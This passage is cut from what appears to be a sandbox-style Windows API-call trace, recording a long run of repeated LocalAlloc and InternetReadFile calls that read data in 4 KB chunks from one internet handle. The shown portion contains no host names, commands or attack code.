lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.664] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0010090 [0130.665] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.665] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00200a0 [0130.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.666] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00300b0 [0130.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.667] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00400c0 [0130.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.668] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00500d0 [0130.668] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.668] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00600e0 [0130.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.669] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00700f0 [0130.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.670] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0080100 [0130.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.670] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0090110 [0130.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.671] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00a0120 [0130.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.672] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00b0130 [0130.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.672] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00c0140 [0130.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.674] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00d0150 [0130.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.675] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00e0160 [0130.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.675] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf00f0170 [0130.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.676] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0100180 [0130.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.677] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0110190 [0130.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.677] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01201a0 [0130.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.678] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01301b0 [0130.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.678] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01401c0 [0130.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.679] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01501d0 [0130.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.679] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01601e0 [0130.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.680] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01701f0 [0130.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.680] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0180200 [0130.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.681] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0190210 [0130.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.681] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01a0220 [0130.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.682] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01b0230 [0130.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.682] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01c0240 [0130.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.683] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01d0250 [0130.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.683] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01e0260 [0130.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.684] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf01f0270 [0130.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.685] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0200280 [0130.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.685] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0210290 [0130.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.685] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02202a0 [0130.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.686] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02302b0 [0130.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.691] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02402c0 [0130.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.691] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02502d0 [0130.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.692] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02602e0 [0130.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.693] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02702f0 [0130.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.693] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0280300 [0130.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.694] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0290310 [0130.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.694] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02a0320 [0130.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.695] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02b0330 [0130.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.695] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02c0340 [0130.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.696] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02d0350 [0130.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.696] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02e0360 [0130.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.697] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf02f0370 [0130.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.697] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0300380 [0130.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.698] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0310390 [0130.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.698] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03203a0 [0130.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.699] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03303b0 [0130.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.699] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03403c0 [0130.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.700] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03503d0 [0130.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.701] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03603e0 [0130.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.704] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03703f0 [0130.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.705] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0380400 [0130.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.705] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0390410 [0130.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.706] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03a0420 [0130.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.706] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03b0430 [0130.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.707] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03c0440 [0130.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.707] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03d0450 [0130.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.708] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf03e0460 [0130.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.708] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0400080 [0130.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.709] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0410090 [0130.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.710] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04200a0 [0130.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.710] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04300b0 [0130.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.711] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04400c0 [0130.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.711] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04500d0 [0130.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.712] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04600e0 [0130.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.712] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04700f0 [0130.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.713] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0480100 [0130.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.713] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0490110 [0130.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.714] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04a0120 [0130.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.714] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04b0130 [0130.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.716] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04c0140 [0130.716] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.717] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04d0150 [0130.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.717] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04e0160 [0130.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.718] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf04f0170 [0130.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.718] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0500180 [0130.718] InternetReadFile (in: hFile=0xcc000c, 